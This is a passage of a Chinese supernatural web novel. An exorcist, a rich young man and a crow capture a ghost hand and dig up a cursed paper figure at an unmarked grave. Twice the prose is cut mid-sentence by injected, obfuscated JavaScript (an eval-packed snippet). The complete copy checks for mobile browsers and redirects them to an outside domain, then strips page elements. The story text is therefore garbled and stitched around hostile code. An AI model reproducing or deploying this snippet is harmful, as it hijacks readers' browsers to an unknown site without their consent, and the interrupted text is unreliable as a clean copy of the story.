尤黎眼神缓和,一把扒拉过钟熠的脑袋,像拎小鸡仔似的把他转向自己,下巴朝外面一努:“去,把你爷爷拖上,回铺子。” 说完,又抓起角落里正试图把自己缩成一团装死的乌鸦,手臂一抡,那倒霉鸟儿就惨叫着化作一道黑色抛物线,直直飞向二楼:“你!上去把铜像碎片给我一片不落地捡回来!” 一人一鸟俱不可置信地注视着她。 钟熠嘴巴张得能塞进鸡蛋,乌鸦则瞪圆了红豆小眼,眼珠子几乎要脱眶而出。一人一鸟的目光在空中交汇,场面滑稽得如同定格的黑白默片。 尤黎双手一摊,大马金刀地往厅堂中央那张价值不菲的太师椅上一坐。明明顶着一张稚气未脱、甚至有些软萌的脸蛋,那双微微上挑的眼睛却寒光凛冽,看得人头皮发麻:“不去?” 一人一鸟被刺得一哆嗦,达成了无声的奴隶者同盟,再不敢有半分迟疑,麻溜地行动起来。一个认命地弯腰去拖那黏腻冰冷的残尸,一个扑棱着翅膀哀嚎着冲上二楼,干得那叫一个心甘情愿。 回到福荫堂时,东方的天际已泛起鱼肚白,熹微的晨光艰难地穿透老县城上空的薄雾。 尤黎给钟熠的伤口简单处理了一下,然后撒了些红红绿绿的药粉,钟熠疼得龇牙咧嘴,硬是没吭一声。 尤黎给他寄了个完美的蝴蝶结:“行了,暂时死不了。去那边,睡觉。” 说完,尤黎随手指了一间房,把人推了进去,拍拍手回了自己房间。 几乎熬了一整夜,与鬼物斗法固然有消耗,但此刻更让尤黎头疼的,是这整件事背后盘根错节的谜团。谁炼化了钟悯的尸体?钟悯烧香如果不是借寿是为了什么?那种能令万物腐朽的恐怖能力,还有,鬼囿。 无数碎片在脑中飞速旋转,隐隐约约似乎有一条无形的线要将它们串联起来……然而,沉重的疲惫感如同潮水般汹涌袭来,瞬间淹没了所有思绪。 跟随爷爷修行道术多年,尤黎鲜少做梦。这一次却不同。混乱驳杂的影像强行挤入她的脑海,如同打翻的调色盘。有她亲身经历过的险境,有她见识过的奇诡秘术,但更多的,却是一些全然陌生的场景和面孔。那些画面带着一种令人心悸的真实感,仿佛是属于另一个人的记忆碎片。陌生而清晰的脸庞,复杂到近乎撕裂的情感,如同失控的洪流,蛮横地冲刷着她的大脑神经。 “唔……”尤黎猛地睁开眼,心脏在胸腔里怦怦狂跳,冷汗浸湿了鬓角。房间里一片昏暗,厚重的窗帘隔绝了外界的光线。就在这令人窒息的寂静中,她敏锐地捕捉到,在靠近门边的角落有一双眼睛,正一眨不眨地地盯着她。 紧接着,那团蜷缩在角落的阴影动了。一个人影哆哆嗦嗦地、极其缓慢地挪了出来,正是钟熠。他把自己缩成一团,脸色在昏暗中白得像纸,声音抖得不成样子: “大、大师……你家里……好可怕……” 尤黎深吸一口气,强行压下心头翻涌的烦躁和刚睡醒的混沌感。她几乎是下意识地摸出手机,点开银行APP,盯着屏幕上那笔新鲜到账的二十万巨款,嘴里无声地念念有词:“不能动手……不能动手……绝对不能动手……” 然而,自我催眠显然失败了。下一秒,她果断翻身下床,精准地弹出一记爆栗,狠狠敲在钟熠光洁的脑门上! “咚!”一声脆响在寂静的房间里格外清晰。 心里那口恶气,总算顺了一点。 钟熠疼得“嗷”一嗓子,双手紧紧捂住额头。他仰头看着居高临下的尤黎,嘴巴委屈地蠕动几下,最终也一个字也没敢吐出来 尤黎懒得看他那副怂样,转身大步走到窗边,“唰啦”一声拉开了厚重的窗帘。明朗阳光瞬间倾泻而入,照亮了空气中飞舞的细小尘埃。 “说,“她背对着钟熠,声音带着刚睡醒的沙哑和浓浓的不悦,“谁让你跑我房间来的? “我房间里的东西,老动,还有纸人,他们敲我的门......” 尤黎身形微微一僵,脸上罕见地掠过一丝极淡的、几乎看不见的红晕。啧,她还真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尤黎皱着眉推门进去,只见钟熠歪着脑袋靠在冰冷的墙壁上,竟然就那么蜷缩着睡着了。眉头紧锁,即使在睡梦中,身体也微微颤抖着,显然之前的惊吓透支了他所有的精力。 尤黎把人搬回刚被肃清过的房间。安置好后,她转身准备离开。 就在手指碰到冰凉的门把手时,尤黎的动作猛地顿住了! 一股冰冷的寒意毫无预兆地顺着脊椎爬了上来! 她想起了一个被忽略的问题——她的房间,为了防止任何不干净的东西趁她熟睡时侵入,是用了红隐线在门窗处结下了禁制。这禁制不只是防鬼,普通人也根本不可能在不惊动她的情况下悄无声息地进来。 那么,钟熠是怎么进来的? 这个念头如同投入深潭的石子,瞬间激起了更多的涟漪,无数被忽略的细节纷至沓来。 真的会有人留一张看起来就不靠谱的捉鬼名片三四年吗? 人成鬼后无记忆无心性,暴戾凶残,为什么没有伤害晕倒在地的钟熠? 尤黎倏然转身,锐利的目光如同探照灯,紧紧锁住床上熟睡的钟熠。她屏住呼吸,甚至调动了一丝微弱的灵力感知,但预想中的鬼气森森、妖物现形并没有发生。钟熠依旧沉沉睡着,也许是因为惊吓过度后的疲惫,他甚至发出了轻微的鼾声,胸膛规律地起伏着,一切看起来都那么正常。 但这正常本身,在尤黎此刻的认知里,就是最大的不正常。 她悄无声息地靠近床边。指尖如风般掠过钟熠的额发,捻下了一根细软的发丝。 尤黎单手掐诀,动作快得只剩残影,那根发丝在她指间飞快缠绕,最终结成一个繁复而古老的印记。她双唇微动,无声地念诵咒文。 “噗——” 一缕极其微弱的、近乎透明的明黄色火焰凭空燃起,瞬间将那根发丝吞噬殆尽,只留下一小撮灰烬飘散在空气中。 不是鬼物伪装。 这个结果并未让尤黎感到意外。如果钟熠真是鬼物,踏入这间铺子的第一步,就会被无处不在的禁制碾得魂飞魄散。 那么,只剩下一种解释。 尤黎的目光变得异常深邃复杂,她凝视着钟熠沉睡中毫无防备的脸庞。这个看似除了有钱一无是处的富家少爷,身上恐怕藏着连他自己都不知道的某种能力。这能力,或许能解释他为何能突破红隐线,或许关联着钟悯的异变,以及幕后的黑手。 这潭浑水,比她预想的还要深得多。而眼前这个睡得毫无形象的家伙,是线索,是麻烦,也可能…… 是一把意想不到的钥匙。 5. 借寿(四) 一连几天,铺子里都很平静。 钟熠在被吓破胆后居然触底反弹,悟出了几分生存之道。他和那些老住户之间竟形成了一种诡异的共生关系,井水犯了河水,河水也会淹回去。 比如,再被某个纸人躲在门后吓一跳后,钟熠主动承担起铺子里杂物的整理工作,美其名曰“替大师分忧”,实则精准打击报复。他将那个吓他的纸人搬到铺子门口,让它半边身子沐浴在灼热的阳光下,晒上一整天。尤黎不止一次瞥见,被晒得颜料都有些发软的纸人,空洞的眼窝里似乎都透着怨毒的控诉。 再比如对付那些喜欢四处溜达的蛇和虫子,钟熠的手段更是蔫坏。尤黎吩咐他喂食,他会非常不小心打翻其中一份,分量恰好不够它们均分。于是,它们为争抢那点口粮扭打成一团。 尤黎把这些小动作看在眼里,心里门儿清。无论哪边跑来上眼药,她都一律装聋作哑,权当没听见。她乐得看这两边像唱大戏似的斗来斗去。至少说明钟熠这小子精气神恢复了不少,可以拿来用了。 这天下午,尤黎挖着冰淇淋,喊住某个正把纸人往门外阳光底下搬的人:“等会儿天黑了跟我出门,记得拿把伞。” 钟熠一手捂住纸人滴溜溜转向尤黎求救的眼神,一手比了个ok,顺带吹了波彩虹屁:“大师就是大师,不仅镇得住这些家伙,连下雨都能算出来!” 挖冰淇淋的手顿住,尤黎一脸“你是智障吗”的表情开了口:“你没用过天气预报?” 囫囵吞下最后几勺冰凉甜腻的冰淇淋,她鄙夷道:“多学点现代科技,少天天整些封建迷信。” 被无情暴晒的纸人,此刻极其灵性地将脑袋一百八十度拧了过来,用简陋笔画勾勒出的嘴角夸张地咧开,发出“嘶嘶啦啦”如同纸片摩擦的声响,空洞的眼窝却能看出实质性的嘲弄。 然而,钟熠的脸皮厚度显然超出了纸人的想象。他仿佛完全不懂尴尬二字怎么写,面不改色心不跳地无缝衔接:“那我要跟大师多学习了,大师果然是什么都很厉害啊!” 纸人呆滞了一瞬,随后,一只用细竹篾扎成的、略显僵硬的手臂缓缓抬起,冲着钟熠的方向,极其艰难却又无比坚定地……竖起了中指! 做完这个高难度动作,它默默地把头转了回去,仿佛耗尽了毕生灵力。原谅它究其一纸生也想不到,竟有人类能将厚颜无耻的马屁功夫修炼到如此登峰造极的境界。 傍晚时分,天色灰蒙蒙地压下来。钟熠把被晒得蔫头耷脑的纸人搬回铺子阴凉的角落,亦步亦趋地跟着尤黎出了门。 “嘎——!”一声不满的嘶哑鸣叫响起,狗蛋扑棱着翅膀,不情不愿地落在钟熠肩头,冰冷的爪子抓得他生疼。钟熠也是昨天才从尤黎无意间的呼唤中得知了这乌鸦的大名。 狗蛋对于真名暴露这件事非常气愤。它不敢招惹尤黎,就把一腔邪火全撒在钟熠身上。从昨天开始,它不是在啄钟熠的后脑勺,就是在试图薅他的头发。 连今天出门,它都缩在房梁上,不肯下来,对尤黎表达无声的反抗。 尤黎才不管这些七的八的,两巴掌下去,又是一只绝世好鸟,低眉顺眼就跟着出来了。 狗蛋此刻对尤黎敢怒不敢言,便加倍把怒火转移到钟熠身上。前几天在尤黎高压下结成的受难者同盟早已分崩离析,一人一鸟你啄来我拔毛去,好不热闹。 “别闹了!”尤黎头也没回,冷冰冰的声音穿透夜幕传来。 一人一鸟瞬间僵住,如同被施了定身咒,只剩下两双眼睛还在不甘心地互相瞪视。 走了不过十来分钟,尤黎在一个十字路口停下了脚步。这里远离主干道,路灯老旧昏黄,光线在夜色里晕染开模糊的光圈,勉强照亮地面。周围是低矮的老旧民居,窗户大多黑洞洞的,只有零星的几点灯光透出,更添几分寂寥和阴森。 她手朝冲熠一扬:“过来。” “这就来!”钟熠应声的瞬间,后脖颈再次传来一阵尖锐的刺痛,是狗蛋趁其不备的偷袭。他疼得龇牙咧嘴,反手用力一扯,拔下几根漆黑的羽毛,然后一溜小跑,溅起细小的水花,冲到了尤黎跟前。 尤黎打了个哈欠,语调懒散:“把包里的东西拿出来。” 出门前尤黎塞给钟熠一个洗得发白、打着补丁的老式斜挎布包,瘪瘪的,看着装不了什么东西。 钟熠依言打开,里面是几柱香和一沓厚厚的黄纸钱。 “就搁这儿,”尤黎抬了抬下巴,指向脚下这块地,“边烧纸钱,边喊你爷爷。声音大点。” 钟熠捏着纸钱,半天没动,眼神有些犹豫地飘忽着。 尤黎眼睛危险地眯起,嘴角向下撇出一个不耐烦的弧度。 “大师……”钟熠赶在尤黎耐心彻底告罄前,小声解释道,“没打火机啊,这…这怎么点?” 尤黎原本以为他是怕见鬼才磨蹭,没想到他纠结半天是因为这个。她没好气地一把抽过钟熠手里的几张纸钱。只见她指尖捏着粗糙的黄纸边缘,看似随意地相互一擦。 一簇小火苗凭空窜起,瞬间点燃了纸钱。 尤黎随手将燃烧的纸钱丢在钟熠脚前。那幽蓝的火焰燃烧着,发出轻微的噼啪声,升起一缕带着奇异香味的青烟。 “烧。”尤黎的声音带着不容置疑的命令。 钟熠听话蹲下身,一股阴冷的、带着湿气的寒意就顺着裤管和衣领的缝隙钻了进来,瞬间爬满了脊背。他一激灵打了个寒颤,脸煞白地抬头:“大大大师!是不是…是不是鬼来了?我怎么感觉浑身发冷,头皮发麻!” 尤黎也敏锐地捕捉到一丝异样的阴冷气息。她眼神瞬间锐利如鹰隼,周身懒散的气息一扫而空,凝神仔细环视四周。 寂静的路口,昏黄闪烁的路灯在雨幕中投下扭曲晃动的光影,街边老树的枝叶在风中发出沙沙声,除此之外,空无一人,也听不到任何异常的响动。 纸钱才刚刚开始烧,按理说不可能这么快引来东西。 就在这时,一滴冰凉的雨水砸在尤黎的额头上。 她猛地一僵,随即一股无名火窜上心头。 我操了跟煞笔待久了,智商真的会被拉到同一水平线。 尤黎低头,语气是从未有过的温柔:“少爷,我问你,让你带的伞呢?” 钟熠这才后知后觉地发现,天上落着细密的毛毛雨,在昏暗的环境下确实不显眼,只能感觉到阵阵寒凉。 他尴尬地嘿嘿干笑两声,试图蒙混过关:“大师,我给忘了。那这纸钱还能烧吗?” 想到今晚的计划还需要这个诱饵,尤黎皮笑肉不笑说:“我的火,这点小雨还浇不灭。” 紧接着,她陡然提高音调,如同惊雷炸响:“别磨蹭!快烧!喊!” 钟熠再不敢废话,手忙脚乱地将纸钱投入火堆中。同时,他扯开嗓子,声调抑扬顿挫地喊开了:“爷爷!爷爷!” 尤黎怎么听都像是葫芦娃叫爷爷的那动静,越听越觉得聒噪,把躲在她衣兜里的狗蛋好一阵磋磨。 纸钱在火焰的吞噬下打着旋儿,化作片片黑色的飞灰,被湿冷的夜风卷起,打着转飘向未知的黑暗深处。燃烧的火光映照着钟熠苍白紧张的脸,也映照着尤黎沉静却锐利的双眸。 然而,除了雨声和风声,以及钟熠那聒噪的呼喊,十字路口依旧死寂一片,仿佛整个世界都被这雨幕隔绝了。 “行了,闭嘴!”尤黎出声打断钟熠,她几步上前,将剩下的纸钱一把夺过,“纸钱也别烧了。” 她捏起三柱香,塞到钟熠手里,声音压得很低,带着一种不容置疑的诡异指令:“咬破手指,滴三滴血在香上。” 钟熠看着那粗糙的香体,又看看尤黎清冷的侧脸,眼睛瞪得溜圆:“用血点香?” 尤黎扫视着周围越来越浓重的黑暗,点点头:“快点。” 钟熠心一横,将食指伸进嘴里狠狠一咬,眉头紧皱。鲜红的血珠立刻涌了出来。他小心翼翼地将血珠分别滴在三柱香的顶端。 分明一点也没看到香头有被点燃的迹象,但尤黎却说香已经点着了。 一股难以言喻的、混合着血腥和某种檀腥味的奇异气息从香头 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昏黄闪烁的灯光,配上毛毛细雨和空无一人的街道,像极了他曾经看过的恐怖片。钟熠逼自己忽视擂动的心跳,干脆闭上眼,举着三柱香,往后走一步,就念一声自己的名字,再走一步,念自己的生辰八字。 尤黎在他身后不远处的阴影里蹲了下来,将自己大半的气息收敛。她的目光牢牢锁住钟熠的背影,以及他周围那片被路灯勉强照亮、又被黑暗和雨幕不断挤压的空间。 当钟熠念到第七遍时,尤黎全身的肌肉瞬间绷紧。一种难以言喻如同陈年朽木混合着腐烂淤泥的腐朽气味,极其突兀地、丝丝缕缕地渗透进了原本潮湿清冷的空气里。 她不动声色地将重心前移,双腿微曲,力量积蓄在脚尖,这是一个随时能爆发出极限速度的姿势,确保自己能在千钧一发之际赶到钟熠身边。 第八声名字响起。 就在钟熠声音落下的瞬间,他身后那棵盘根错节的老树,树冠毫无征兆地耸动起来,树叶被夜风吹刮,发出飒飒的声响。 在噪音掩盖下,一声极其轻微的、如同破布被撕裂的声音响起。 一只布满了暗紫色尸斑、青灰肿胀的鬼手,以迅雷不及掩耳之势,猛地从浓密枝叶的阴影中探出。指甲漆黑尖长,带着一股令人作呕的腥风,精准无比地抓向钟熠毫无防备的后心。 尤黎瞳孔骤缩。也许这东西根本就没离开过钟熠太久先前是忌惮铺子的禁制,刚才又因为自己离得近,现在终于等到了自己与钟熠拉开距离的好时机。 她姿势未变,手腕轻轻一抖,一张原本捏在指间的黄纸钱顺着力道飞出,精准无误地贴在了钟熠的脑门上。 眼看就要触及钟熠衣物的鬼手,在半空中猛地一滞!它像是突然失去了最明确的指引,变得极其焦躁和迷茫。它不再扑向钟熠,而是如同无头苍蝇般,在钟熠身体周围不足半米的范围内疯狂地、不甘地徘徊。 尖锐的指甲徒劳地划破空气,发出嗤嗤的破风声。尤黎甚至从那毫无生气的青灰色肢体上读出不甘心的情绪。 借着这短暂的混乱,尤黎故意站起身,动作幅度不小,朝与钟熠所在位置完全相反的方向,靠近了几步。 果然! 那只焦躁盘旋的鬼手直扑尤黎所走的方向,它宁愿冒着被抓住的风险,也绝不愿意放弃钟熠。 尤黎的心猛地往下一沉。这绝非普通厉鬼驱使的肢体,这只鬼手拥有近乎独立的思想。可以说,它才是操纵着钟悯那具腐朽躯壳的主导者。 在鬼手即将抓向她身旁的那一刻,尤黎藏在袖中的右手迅速闪出,指尖几缕发丝飘动,如同活物般灵蛇狂舞,瞬间交织成一张肉眼难辨的细网。 鬼手被发丝缠住的瞬间,开始剧烈地抽搐、痉挛,发出无声却仿佛能刺穿耳膜的尖啸!它疯狂地扭动挣扎,试图挣脱束缚。 尤黎的手稳稳地悬停在半空,五指虚握,仿佛隔空扼住了那只狰狞鬼手的命脉。冰冷的雨水打湿了她的额发,顺着脸颊滑落,她却毫不在意。 看着徒劳挣扎的鬼手,她嘴角勾起一抹笑,声音不高,却清晰地穿透雨幕,带着掌控一切的寒意: “抓到你了。” 6. 借寿(五) 指尖的发丝仿佛拥有自己的生命,再次翻飞、拧结成一条粗的绳索。一端死死缚住那只青灰肿胀、散发着腐臭的鬼手,另一端则紧紧缠绕在尤黎纤细苍白的手腕上。 她漫不经心地扯了扯手中的发丝,如同在遛一只不听话的恶犬。只这轻微的拉扯,却对鬼手造成了酷刑般的伤害,它那早已腐败的皮肤层层绽开,红黑粘稠的腐液从发丝勒紧的缝隙里汩汩渗出。一股难以言喻的恶臭瞬间弥漫开来,熏得尤黎眉头紧蹙,迅速抬手捂住了口鼻。 这只鬼手的腐烂程度,远超铺子里那具尸体本身。一个不可思议的念头倏地刺入尤黎的脑海。她需要回去,需要将那具尸体找出来验证自己的猜测。 “走。”尤黎抬脚,毫不客气地踹了踹地上的鬼手。一人,一手,一前一后,诡异地溜达在凌晨死寂的老街上。昏黄的路灯将他们的影子拉得扭曲变形,若从远处模糊看去,倒真像是一个小姑娘在遛狗。 衣兜里,狗蛋突然聒噪起来,声音尖锐。尤黎不耐地睨了它一眼,冰冷的杏眸里毫无温度。那目光如有实质,狗蛋瞬间缩回探出的脖子,噤若寒蝉。 但尤黎的视线刚一移开,那令人烦躁的吱哇声便又顽强地响了起来,在万籁俱寂的深夜格外刺耳。 尤黎停下脚步,伸手精准地捏住狗蛋的后颈皮,将它从衣兜里拎了出来。乌鸦悬在半空,红豆似的眼睛对上尤黎那双看不出情绪的圆眸。她声音冷冽:“你到底想说什么?” 面对那几乎要将它灵魂冻结的威压,以及后颈传来的剧痛,狗蛋艰难地转动着尖喙,拼命地朝自己后背方向示意。 尤黎顺着它的动作看去,只有空荡荡的夜色。她眼神里透出困惑。 狗蛋急得几乎要翻白眼,最后仿佛下了莫大决心,猛地低头,狠狠啄下自己一片油亮的黑色羽毛,叼着,颤巍巍地递向尤黎空着的另一只手。 羽毛落入掌心的刹那,尤黎的脸色瞬间变得极其复杂。惊讶、了然、荒谬......种种情绪在她眼中飞快闪过。 “我没有和一只乌鸦谈恋爱的想法,你趁早死心吧。” 狗蛋的表情瞬间凝固,随即极其人性化地表演了一个“生无可恋”,它绝望地闭上眼睛,脑袋一歪,仿佛失去了所有生趣,任由尤黎将它塞回衣兜深处。 尤黎重新迈步,走出没多远,心里却像被什么东西硌着,总觉得遗漏了重要环节。垂落的手臂无意间擦过衣侧,一个念头电光石火般闪过。她脚步一顿,露出恍然的神色。衣兜里,一直偷偷观察她的狗蛋,眼神瞬间亮了起来,充满期待。 “啧,”尤黎不满道,“我的小布包还没拿呢,你这蠢鸟也不知道提醒我。” 说完,她利落地转身,循着原路返回方才的十字路口。惨白的月光下,那个洗得发白的破旧布包孤零零躺在老树下。就在尤黎弯腰拾起的瞬间,眼角的余光瞥见一个僵硬如石雕的人影,正无声无息地杵在那里。 怎么有点眼熟?尤黎眯起眼,警惕地走近几步。昏黄的路灯光终于吝啬地照亮了那人的轮廓。 正是被她遗忘在夜风里,孤零零贴着一张纸钱,站了足有半个小时的钟熠。夜风卷起那张黏在他脸上的纸钱一角,露出底下那双幽怨的眼睛。 “咳。”尤黎轻咳一声,掩饰住一丝微不可查的尴尬,走上前利落地替他撕下那张冰冷的纸钱,“你真是的,怎么也不知道喊我一下。” 纸钱离体的瞬间,钟熠像是被抽掉了骨头,猛地弯腰,双手死死撑住膝盖,大口大口地喘着粗气,胸腔剧烈起伏,仿佛刚从溺毙的边缘挣扎回来。 “我根本没办法说话啊!”他声音嘶哑,带着劫后余生的恐惧,“这东西一贴上来,我感觉自己真变成死人了!听不见,看不见,连呼吸都没有了,动都动不了。” 尤黎脸不红心不跳,权当没听见钟熠的控诉。她晃了晃手中牵着的鬼手:“我这不是一解决完这家伙,就马上回来给你撕下来了吗?”她刻意强调了“马上”二字。 钟熠眼底那点刚凝聚起来的幽怨,在听到“解决完”三个字后,如同阳光下的薄雾般瞬间消散殆尽。 他立刻又没心没肺地凑到尤黎身边,带着后怕又按捺不住强烈的好奇,蹲下身,仔细打量那只仅靠五指在地上不安蠕动的鬼手。 “大师!你真的太厉害了!”钟熠双眼放光,语气充满敬畏,“你怎么会这么多东西啊?太神奇了。” 尤黎满不在意:“天生的,羡慕去吧。” 这时,衣兜里,狗蛋小心翼翼地探出一个黑色的鸟头,用它那双充满智慧的小眼睛,恨铁不成钢地瞅着满脸敬仰的钟熠,最后愤愤地一扭头。这一扭不要紧,尖利的鸟喙不偏不倚戳在了尤黎的侧腰软肉上。 狗蛋:……!!! 后果可想而知。下一秒,它化作一道黑色的抛物线,发出一声闷响,狠狠撞在了后面老树粗糙的树干上,然后软软地滑落下来,瘫在树根处不动了,一副彻底晕菜的模样。 “怎么了?”钟熠被这突如其来的动静吓了一跳,慌忙左右张望寻找来源。 尤黎若无其事地拍拍手,语气平淡:“没事,丢个垃圾。走吧。”她扯了扯发丝,示意鬼手跟上。 “大师,嘿嘿。”钟熠凑上来,双手合十,他一张脸生得很是清俊,卖萌讨好人起来也不叫人反感,“能不能让我牵会儿啊?”他指了指在地上爬行的鬼手。 “为什么?”尤黎挑眉。 “好拉风啊!”钟熠脸上写满了“我想试试”的兴奋和跃跃欲试。 尤黎沉默了一瞬,似乎觉得这理由荒谬得有点意思。她手指极其轻微地一勾,缠绕在她腕间的发丝末端便游动起来,缠绕上了钟熠伸出的手腕。 然而,异变陡生。 在尤黎手中任她搓圆捏扁的鬼手,甫一落入钟熠掌中,竟猛地爆发出狂暴的力量。它不再爬行,而是疯狂地、不顾一切地挣扎起来,五指死死抠进泥土里,拖曳着钟熠,拼命朝着西南方向的黑暗中猛冲。 钟熠猝不及防,只觉得一道巨力从手腕传来,整个人被拽得一个趔趄。他使出吃奶的力气向后拽也无济于事,只能踉踉跄跄地被迫朝前狂奔,避免被直接拖倒在地。 “大师!大师!怎么回事啊!我拽不住!救命啊——”钟熠的惊叫声在夜色中飘荡。 鬼手仿佛受到了某种强烈召唤,再次爆发出骇人的力量,狂冲向前。发丝紧紧绷直,勒进钟熠的皮肉,被狼狈地拖向夜幕深处。 尤黎站在原地,冷眼旁观着这诡异的一幕,脸上没有任何表情,只有那双杏眸在黑暗中闪烁着寒光。直到那一人一手的身影几乎要被前方的黑暗彻底吞噬,她才猛地迈开脚步,身形如鬼魅般迅捷地追了上去。 一场由鬼手主导的狂奔就此展开。他们一路冲出永福县逼仄的街巷,掠过荒芜的田野,最终冲上了一座在沉沉夜幕下轮廓模糊、荒草丛生的小山包。鬼手狂暴的力量才如同潮水般骤然退去,重新变得安顺,它伏在枯草上,只剩指尖还在微微抽搐。 四周死寂无声,荒草丛生。不知名的夜枭被他们的闯入惊动,在远处黑黢黢的林子里发出一两声凄厉短促的啼鸣。 尤黎哟你好锐利的目光扫视这片荒凉的坟场。她往前谨慎地踏出几步,膝盖忽然撞上了一处坚硬的凸起。 她低头,拨开纠缠的枯草。 一个低矮、几乎被荒草彻底淹没的小土包显露出来。土包前,歪歪斜斜地立着一块石碑。碑面粗糙,没有任何文字,也没有任何图案,一片空白,在夜色下泛着惨淡的灰白。 钟熠惊魂未定地凑过来,视线也落在这诡异的无字碑上。 这就是鬼手宁愿忍受发丝灼烧的疼痛也要带他们来的地方?尤黎若有所思地点点头,指尖无意识地捻动着缠绕的发丝。 她缓缓抬起头,用一种混合着审视与谴责的目光看向钟熠:“这就是你们家祖坟?搞这么磕碜?” 钟熠连忙摆手:“我家祖坟在我很小的时候,爷爷就做主从县里迁走了。” “你爷爷迁的?”尤黎追问。 “对!爷爷说他当年花了大价钱,专门找了很有名的风水先生,算了一块绝佳的风水宝地。”钟熠努力回忆着,“从我有记忆开始都是去临安市城郊那个很气派的墓园祭祖的。” 尤黎朝他一笑:“那就没问题了。” 钟熠顿觉不妙,一股极其不祥的预感涌上心头。 果然,尤黎的下句话如同惊雷在他耳边炸开,语气平淡得像在吩咐他去买瓶酱油: “你,”她指了指钟熠,又指了指那无字碑下的土包, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118522|180029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “把这个坟挖开。” “我?!”钟熠瞬间瞪圆了眼睛,指着自己的鼻子,声音都劈了叉,“挖坟?!” 尤黎没理会他的惊骇,手腕轻抖,缠绕着钟熠手的发丝如同活物般迅速游走收回:“不是你妈,是你。快挖。” 钟熠脸色煞白,冷汗瞬间就下来了,他头一次不敢苟同尤黎的话:“大师!这事也太缺德了吧!人家在这安息得好好的,我们却要挖人坟...” 尤黎毫不客气地打断他,伸手在他背后用力一推,钟熠踉跄着扑到了坟前,膝盖重重磕在冰冷的石碑上。 “缺德?”尤黎的声音带着讥诮,“你家要是不缺德,也不会死那么多人,还闹出诈尸。”她用鞋尖点了点地上那只奄奄一息的鬼手,“喏,这不也是你家弄出来的?都缺这么多德了,还在乎多缺一点吗?” 一连串歪得理直气壮的道理被她讲得斩钉截铁,不容置疑。钟熠张了张嘴,最后从旁边捡起一块边缘锋利的石头,带着一种近乎悲壮的绝望,开始对着那冰冷的土包挖掘起来。 泥土冰冷而坚硬,混杂着碎石和草根。钟熠挖得心惊胆战,每一次石头落下,都仿佛敲在某人的心脏上。 寂静的荒山上,只有“嚓嚓”的挖掘声和他自己粗重压抑的喘息声在回荡。不知挖了多久,汗水浸透了他的后背,冰冷的夜风一吹,冻得他直哆嗦。就在他手臂酸麻几乎要脱力时,手中的石块突然碰到了某个硬物,发出咚的一声闷响。 钟熠精神一振,也顾不得害怕了,连忙加快速度,小心翼翼地刨开周围的浮土。一个约莫尺长的暗黑色木匣逐渐显露出来,表面沾满了湿冷的泥土,在微弱的光线下泛着幽暗的光泽。 “呼,”钟熠长长松了口气,瘫坐在地上,心有余悸地拍着胸口,“还好不是骨头。” 一只白皙却透着力量感的手从他眼前伸过,稳稳地抓住了木匣的边缘,是尤黎。 她将木匣从冰冷的泥土中提起,无视上面滑腻的泥污,借着微光,仔细地、一寸寸地观察起来。今夜无月,星光熹微,常人恐怕只能勉强视物,但尤黎那双杏眼却在黑暗中锐利如鹰隼,专注地审视着匣身。 木匣的材质非金非木,触手冰凉沉重,上面镌刻着极其繁复扭曲的花纹,线条盘根错节,透着一股古老的气息。那并非装饰,更像是某种从未见过的古老咒文。 尤黎通晓许多旁门左道、奇诡咒术,此刻却发现自己竟完全无法辨认这咒文的来历。她眉头微蹙,试图凭借蛮力捏碎这诡异的匣子,然而木匣纹丝不动,连一丝裂痕都未曾出现。 一枚造型极其精巧的锁扣,牢牢地锁在匣盖中央,阻挡了尤黎直接打开的意图。 尤黎目光微敛,抬起了那只始终牵着鬼手的手。缠绕指尖的发丝中,分离出极其纤细的一缕,如同拥有游蛇般无声无息地探出,精准无比地刺入锁扣的细小锁孔之中。发丝在锁孔内极其灵活地扭动勾连,发出极其细微的“咔哒”声,那枚锁应声弹开。 尤黎毫不犹豫地掀开了匣盖。 匣内没有任何衬垫,只有一张巴掌大小、被裁剪成扭曲人形的粗糙黄纸。纸人身上,用腥红刺目的朱砂,写着一行扭曲的八字。几根如同浸染了墨汁的细线,以五花大绑的姿态将纸人紧紧捆缚,其中一根最粗最黑的线,更是从纸人心脏的位置狠狠地穿透。 一股极其阴冷、怨毒、饱含诅咒的气息瞬间从匣内弥漫开来,周围的空气似乎都凝固了。 尤黎瞳孔骤然收缩,几乎在看清的瞬间就确定,这是一种极为恶毒的杀生诅咒。 她的目光死死钉在那行朱砂写就的生辰八字上,声音低沉而紧绷,带着一丝不易察觉的寒意,问向瘫坐在地的钟熠: “你爷爷是农历八月初一生人吗?” 钟熠被这突如其来的问题问得一懵,下意识地回忆着:“对啊,大师你连这个也能算啊。” 嘶—— 尤黎心下一沉,指尖微微发凉。如果钟熠所言非虚,那么这张被深埋于此、施以恶毒诅咒的纸人,就是钟悯真正的死因。 然而,一切迹象都在昭示,这个诅咒被埋下的时间,距今至少已有十多年。 也就是说,早在十多年前,钟悯就已经死了。 那么,前几天死的钟悯又是谁? 7. 借寿(六) 一股难以言喻的寒意顺着脊椎悄然爬升。与此同时,她敏锐地察觉到,周遭的环境比刚才更加死寂了。 仿佛某种无形的屏障悄然落下,隔绝了所有生机。偌大的一片荒林,此刻竟如同坟场。风也停了,只剩下令人心悸的沉默。 尤黎不动声色地拉起还坐在地上气喘吁吁的钟熠,借着起身的力道拧腰转身,目光精准无比地刺向身后。 就在那片影影绰绰的黑暗里,一双浑浊苍老的眼睛正死死地瞪着他们。眼睛瞳孔却缩得极小,透着一种非人的阴鸷,尤黎的动作太快,眼睛的主人显然没料到会被瞬间捕捉,猝不及防间,眼神里掠过一丝惊惶,下意识缩回黑暗。 尤黎的反应更快。她手腕猛地一甩,发丝迅捷无比地在钟熠、鬼手和无字墓碑上缠绕数圈,将他们牢牢地捆缚在一起。 下一秒,尤黎的身影在原地消失,身形闪烁间,她便冲入那片阴森的荒林。 